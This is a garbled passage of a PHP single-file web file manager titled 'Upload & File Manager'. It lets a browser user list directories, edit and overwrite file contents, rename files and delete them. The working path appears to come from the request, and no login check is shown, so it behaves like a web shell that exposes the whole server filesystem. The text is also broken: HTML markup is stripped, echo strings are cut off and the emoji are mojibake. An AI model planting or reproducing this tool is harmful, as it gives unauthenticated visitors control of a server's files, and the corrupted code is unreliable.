Upload & File Manager
File Upload
✅ Uploaded: " . htmlspecialchars($_FILES['file']['name']) . "";
}
// Delete
if ($action == 'delete' && $file) {
$target = realpath($path . DIRECTORY_SEPARATOR . $file);
if (strpos($target, $path) === 0 && file_exists($target)) {
unlink($target);
}
}
// Rename
if ($action == 'rename' && isset($_POST['newname'])) {
$oldPath = realpath($path . DIRECTORY_SEPARATOR . $file);
$newPath = $path . DIRECTORY_SEPARATOR . basename($_POST['newname']);
if (strpos($oldPath, $path) === 0) {
rename($oldPath, $newPath);
header("Location: ?path=" . urlencode($path));
exit;
}
}
// Edit
if ($action == 'edit' && $file) {
$editPath = realpath($path . DIRECTORY_SEPARATOR . $file);
if (strpos($editPath, $path) === 0 && is_file($editPath)) {
if (isset($_POST['content'])) {
file_put_contents($editPath, $_POST['content']);
echo "
✅ Saved!
";
}
$content = htmlspecialchars(file_get_contents($editPath));
echo "
Editing: " . htmlspecialchars($file) . "
";
echo "
";
echo "
â¬…ï¸ Back
";
exit;
}
}
// Rename form
if ($action == 'rename' && $file) {
echo "
Rename: " . htmlspecialchars($file) . "
";
echo "
";
echo "
â¬…ï¸ Back
";
exit;
}
// File list
echo "
Browsing: " . htmlspecialchars($path) . "
";
echo "
Name | Size | Actions |
";
// Go up
$parent = dirname($path);
if ($parent != $path) {
echo "â¬…ï¸ .. (Up) | | |
";
}
foreach (scandir($path) as $item) {
if ($item === '.') continue;
$itemPath = $path . DIRECTORY_SEPARATOR . $item;
$urlPath = urlencode($path);
$urlFile = urlencode($item);
echo "";
if (is_dir($itemPath)) {
echo "ðŸ" $item | -- | | ";
} else {
echo "ðŸ"„ $item | ";
echo "" . filesize($itemPath) . " bytes | ";
echo "
âœï¸ Edit |
ðŸ" Rename |
ðŸ—‘ï¸ Delete
| ";
}
echo "
";
}
echo "
";
?>